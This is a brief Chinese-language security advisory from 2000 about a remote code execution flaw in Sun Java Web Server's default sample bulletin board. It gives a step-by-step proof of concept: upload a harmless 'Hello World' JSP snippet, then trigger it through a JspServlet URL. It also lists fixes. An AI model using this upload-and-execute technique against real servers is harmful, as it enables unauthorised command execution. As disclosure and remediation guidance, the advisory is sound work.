Sun Java Web伺服器遠程可執行命令漏洞

Sun Java Web伺服器遠程可執行命令漏洞
漏洞發布時間：2000-7-13 17:41:00
漏 洞 描 述:
在Solaris and Windows NT的Sun Java Web Server預設安裝設定下。通過公告版的樣板程式的漏洞，可以遠程執行任意命令。
漏洞測試方法如下：
下面的例子將顯示如何上傳和執行該代碼，而在伺服器上顯示"Hello World"。
輸入下面的JSP代碼將列印出"Hello World":
<% String s="Hello World"; %>
<%=s %>
通過下面的公告版串連Post這段代碼:
http://jws.site/examples/applications/bboard/bboard_frames.html
檢驗是否該代碼真正的上傳了:
http://jws.site/board.html
通過執行下面的串連編譯和執行該代碼:
http://jws.site/servlet/com.sun.server.http.pagecompile.jsp.runtime.JspServlet/board.html
解 決 方 法:
仔細按照Java Web Server手冊中的"How to secure a web site that uses the Java Web Server" 一章進行設定，或者參考下面串連:
http://www.sun.com/software/jwebserver/faq/jwsca-2000-02.html
或者簡單的移除預設安裝的這些樣板檔案。